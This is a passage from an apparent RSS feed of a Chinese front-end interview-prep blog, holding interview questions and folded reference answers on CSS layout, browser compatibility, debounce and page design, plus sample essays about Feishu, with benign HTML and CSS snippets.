&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;content&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;display&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;block&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;clear&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;both&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;1. 使用`overflow: hidden`：给父元素设置`overflow: hidden`，但可能会隐藏超出部分的内容。
2. 使用`BFC`（块级格式化上下文）：通过设置`display: flow-root`或`overflow: auto`等属性，使父元素形成一个独立的BFC，从而包含浮动元素。
&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-f249762a3656"&gt;2. 实现一个固定侧边栏+自适应主内容的布局&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;CSS布局技巧。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;可以使用&lt;code&gt;flexbox&lt;/code&gt;布局实现固定侧边栏和自适应主内容的布局：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;container&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;sidebar&amp;#34;&lt;/span&gt;&amp;gt;侧边栏&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;main&amp;#34;&lt;/span&gt;&amp;gt;主内容&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;container&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;display&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;flex&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;sidebar&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 固定宽度 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#f0f0f0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;main&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;flex&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 自适应宽度 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#ffffff&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h2 id="question-c77b5c6f-9fcc-40a6-bbf0-9f412d6ce94c"&gt;3. 实现 debounce（防抖）函数&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/c77b5c6f-9fcc-40a6-bbf0-9f412d6ce94c"&gt;实现 debounce（防抖）函数&lt;/a&gt;&lt;/p&gt;</description></item><item><title>京东-广告数据-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-26/round-29/</link><pubDate>Fri, 27 Jun 2025 05:46:50 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-26/round-29/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-26/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 考察核心集中在前端性能优化（如无限加载卡顿、页面渲染延迟）、CSS布局与兼容性（如Flexbox自适应、跨浏览器适配）及Vue框架原理（如响应式限制、虚拟DOM优劣）。需重点准备懒加载/虚拟滚动优化、兼容性Hack技巧、异步执行顺序分析及需求拆分设计能力。&lt;/p&gt;
&lt;p&gt;本轮共 12 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-1471ea7054ad"&gt;1. 现在我们有一个 618 活动页的需求，需要你来做，你会如何拆分需求，如何设计？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;需求分析与设计能力&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;ol&gt;
&lt;li&gt;首先与产品、设计、运营等多部门沟通，明确活动页的核心功能、促销规则、页面风格等基本需求。例如，确定活动主题（如限时秒杀、满减优惠等）、预计流量、商品展示形式等。&lt;/li&gt;
&lt;li&gt;根据功能模块拆分需求，可将活动页分为头部导航区（包含活动标题、时间、入口等信息）、商品展示区（如秒杀商品列表、热门推荐商品列表等）、促销信息区（展示活动规则、优惠券领取等）、底部信息区（如活动说明、客服入口等）。&lt;/li&gt;
&lt;li&gt;在设计上，根据品牌风格和活动主题确定整体视觉风格，包括配色方案（如节日氛围的红色、金色等）、字体选择、图片风格等。针对商品展示区，考虑采用网格布局或瀑布流布局，以合理展示商品信息，包括商品图片、名称、价格、优惠信息等。对于交互设计，需考虑页面的滚动加载、商品点击跳转、优惠券领取等交互效果，确保用户体验流畅。&lt;/li&gt;
&lt;/ol&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-f2b52b32bd5b"&gt;2. 商品列表中一行有五个商品卡片，最后一个自适应剩余空间，怎么实现。&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;CSS 布局能力&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;可以使用 CSS 的 Flexbox 布局来实现。首先将商品列表的容器设置为 flex 布局，即 &lt;code&gt;display: flex&lt;/code&gt;。然后对前四个商品卡片设置固定宽度，例如 &lt;code&gt;width: 100px&lt;/code&gt;，最后一个商品卡片设置 &lt;code&gt;flex: 1&lt;/code&gt;，这样它就会占据所在行剩余的空间，实现自适应效果。同时，为了防止一行中商品卡片因内容过多而超出父容器宽度，可对每个商品卡片设置 &lt;code&gt;overflow: hidden&lt;/code&gt;，确保其内容在自身区域内显示，并且可以添加 &lt;code&gt;white - space: nowrap&lt;/code&gt; 和 &lt;code&gt;text - overflow: ellipsis&lt;/code&gt; 来处理溢出的文字内容。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-ebdcefd0ba4c"&gt;3. CSS 样式开发中你都遇到过哪些兼容性问题，如何解决的。&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;CSS 问题解决能力及兼容性知识&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;ol&gt;
&lt;li&gt;在不同浏览器中遇到过盒模型问题，例如 IE 浏览器的怪异盒模型与其他浏览器的标准盒模型不同，导致元素尺寸计算不一致。解决方法是使用 &lt;code&gt;box - sizing: border - box&lt;/code&gt;，并结合 CSS 重置样式表统一各浏览器的盒模型表现。
2. 浮动布局在某些低版本浏览器中可能出现父元素高度塌陷或子元素排列不整齐的问题。可以通过为父元素添加 &lt;code&gt;clearfix&lt;/code&gt; 清除浮动，即设置父元素 &lt;code&gt;overflow: hidden&lt;/code&gt; 或使用伪元素 &lt;code&gt;:after&lt;/code&gt; 添加清除浮动的样式来解决。
3. CSS3 动画在部分浏览器中可能不支持，或者动画效果不一致。例如，IE 浏览器对 CSS3 动画的支持较弱。解决方法是使用渐进增强的方式，在支持 CSS3 动画的浏览器中展示动画效果，对于不支持的浏览器提供简单的过渡效果或静态样式，并利用Modernizr 等工具进行特性检测，根据检测结果加载相应的样式和脚本。
4. 字体渲染在不同操作系统和浏览器中可能存在差异，影响页面的美观和一致性。可以通过设置字体的 &lt;code&gt;font - family&lt;/code&gt; 为系统安全字体组合，并使用相对单位（如 &lt;code&gt;em&lt;/code&gt;、&lt;code&gt;rem&lt;/code&gt;）设置字体大小，以提高字体的兼容性和可读性。&lt;/li&gt;
&lt;/ol&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-99d5bcff8208"&gt;4. 你刚刚说的上滑无限加载有没有性能问题，你怎么解决？&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;前端性能优化知识&lt;/p&gt;</description></item><item><title>字节-飞书-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-25/round-27/</link><pubDate>Thu, 26 Jun 2025 08:23:26 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-25/round-27/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-25/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-25/round-28/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察前端基础知识和实际应用能力。&lt;/p&gt;
&lt;p&gt;本轮共 20 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-c7bf157863bd"&gt;1. 实现一个宽度自适应的搜索框。&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CSS布局能力：&lt;/strong&gt; 面试官希望确认候选人对CSS的布局方式（如Flexbox、Grid或传统布局）的掌握程度，以及如何实现元素的响应式和自适应。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;响应式设计：&lt;/strong&gt; 考察候选人是否能考虑不同屏幕尺寸下的用户体验，并运用CSS媒体查询、视口单位等技术实现宽度自适应。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTML结构：&lt;/strong&gt; 确认候选人是否能编写语义化且结构清晰的HTML代码。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h5 id="11-原理说明"&gt;1.1 原理说明&lt;/h5&gt;
&lt;p&gt;宽度自适应的搜索框是指搜索框的宽度能够根据其父容器的宽度或视口宽度自动调整，以适应不同的屏幕尺寸和设备。实现这种效果通常依赖于CSS的弹性布局（Flexbox）或网格布局（Grid），结合相对单位（如百分比、vw/vh）或弹性单位（如flex属性）。其核心思想是让元素能够&amp;quot;伸缩自如&amp;quot;，而不是固定尺寸。&lt;/p&gt;
&lt;h5 id="12-核心用法--示例代码"&gt;1.2 核心用法 + 示例代码&lt;/h5&gt;
&lt;p&gt;以下是使用Flexbox实现宽度自适应搜索框的示例：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;search-container&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;search-input&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;placeholder&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;请输入搜索内容&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;button&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;search-button&amp;#34;&lt;/span&gt;&amp;gt;搜索&amp;lt;/&lt;span style="color:#f92672"&gt;button&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;search-container&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;display&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;flex&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 占据父容器的全部宽度 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;max-width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;600&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 设置最大宽度，防止过宽 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;auto&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 居中显示 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;border&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;solid&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;#ccc&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;border-radius&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;overflow&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;hidden&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 防止内容溢出 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;search-input&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;flex-grow&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 占据剩余空间 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;padding&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;border&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;none&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;outline&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;none&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 移除聚焦时的边框 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;font-size&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;search-button&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;padding&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#007bff&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;white&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;border&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;none&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;cursor&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;pointer&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;font-size&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;search-button&lt;/span&gt;:&lt;span style="color:#a6e22e"&gt;hover&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#0056b3&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/* 媒体查询，适应小屏幕 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@&lt;span style="color:#66d9ef"&gt;media&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;max-width&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;768px&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;search-container&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;max-width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;90&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;场景说明：&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>字节-飞书-校招 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-25/round-28/</link><pubDate>Thu, 26 Jun 2025 08:23:26 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-25/round-28/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-25/round-27/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-25/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察前端开发者的项目经验、技术深度、问题解决能力以及对未来发展的思考。&lt;/p&gt;
&lt;p&gt;本轮共 15 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-15807fff741e"&gt;1. 了解飞书么，讲一下你的使用感受&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;● 说明该题是主观型问题，不考&amp;quot;唯一标准答案&amp;quot;&lt;/p&gt;
&lt;p&gt;● 面试官主要考察答题者对产品的理解、用户体验的洞察以及归纳总结能力&lt;/p&gt;
&lt;p&gt;● 答题结构建议：首先简要说明你对飞书的整体印象和使用频率，然后从几个具体的产品功能或使用场景出发，详细阐述你的感受、亮点和可以改进的地方。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;高质量参考范文：
我对飞书这款产品有比较深入的了解，因为我们团队在日常工作中就是飞书的重度用户，几乎所有的协作和沟通都在上面进行。从我的使用感受来看，飞书在一体化协作方面做得非常出色，它不仅仅是一个简单的即时通讯工具，更是一个集成了文档、会议、日程、OKR、邮件等多种功能的综合性协作平台，极大地提升了团队的工作效率。&lt;/p&gt;
&lt;p&gt;我感受最深的有以下几点：&lt;/p&gt;
&lt;p&gt;首先是&lt;strong&gt;文档和表格的强大协作能力&lt;/strong&gt;。飞书文档支持多人实时协同编辑，光标跟随、评论批注等功能都非常流畅，我们团队经常用它来共同撰写需求文档、项目周报等。表格功能也比传统Excel更灵活，支持多种视图和自动化能力，对于项目管理和数据统计非常方便，我们很多内部管理工作都迁移到了飞书表格上。这种所见即所得、实时同步的体验，比我们之前使用分离的工具效率高出很多。&lt;/p&gt;
&lt;p&gt;其次是&lt;strong&gt;会议和日历的无缝整合&lt;/strong&gt;。飞书会议的音视频质量很高，屏幕共享和标注功能也很实用。最棒的是它和日历的深度集成，我们可以在日历中直接创建会议，并关联飞书文档，会议结束后纪要也能快速生成并同步。这种从会议发起、进行到纪要归档的全流程一体化体验，减少了大量来回切换应用的麻烦。&lt;/p&gt;
&lt;p&gt;当然，在使用过程中，我也注意到一些可以改进的地方。例如，对于一些复杂的数据可视化需求，飞书表格目前的图表功能可能还不够强大，我们有时需要导出数据到其他专业工具进行处理。另外，在面对外部协作场景时，虽然飞书支持分享外部链接，但在权限控制和安全性方面，如果能提供更多灵活的配置选项，会更便于与外部伙伴高效协同。&lt;/p&gt;
&lt;p&gt;总的来说，飞书极大地改变了我们团队的协作模式，提升了整体工作效率。它在集成化、实时协作和移动端体验方面都有着显著优势。我相信随着产品的不断迭代，它在更多细分场景和个性化需求方面会做得更好。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-55e951a3b8c8"&gt;2. 如果飞书的某一个页面崩溃了 ，你会如何处理？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;● 说明该题是主观型问题，不考&amp;quot;唯一标准答案&amp;quot;&lt;/p&gt;
&lt;p&gt;● 面试官主要考察答题者的故障排查能力、问题分析思路、应急处理流程以及对用户体验的关注&lt;/p&gt;
&lt;p&gt;● 答题结构建议：首先表明你会从用户角度出发，然后从前端排查、后端排查、联调分析、解决方案、预防措施等多个维度，阐述你处理问题的完整思路和步骤。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;高质量参考范文：
如果飞书的某个页面崩溃了，我会立即启动一套系统的故障排查和处理流程，目标是尽快定位问题、恢复服务，并最大程度地减少对用户的影响。&lt;/p&gt;
&lt;p&gt;我的处理思路和步骤通常如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;初步判断与用户安抚（P0 紧急）&lt;/strong&gt;：&lt;/p&gt;
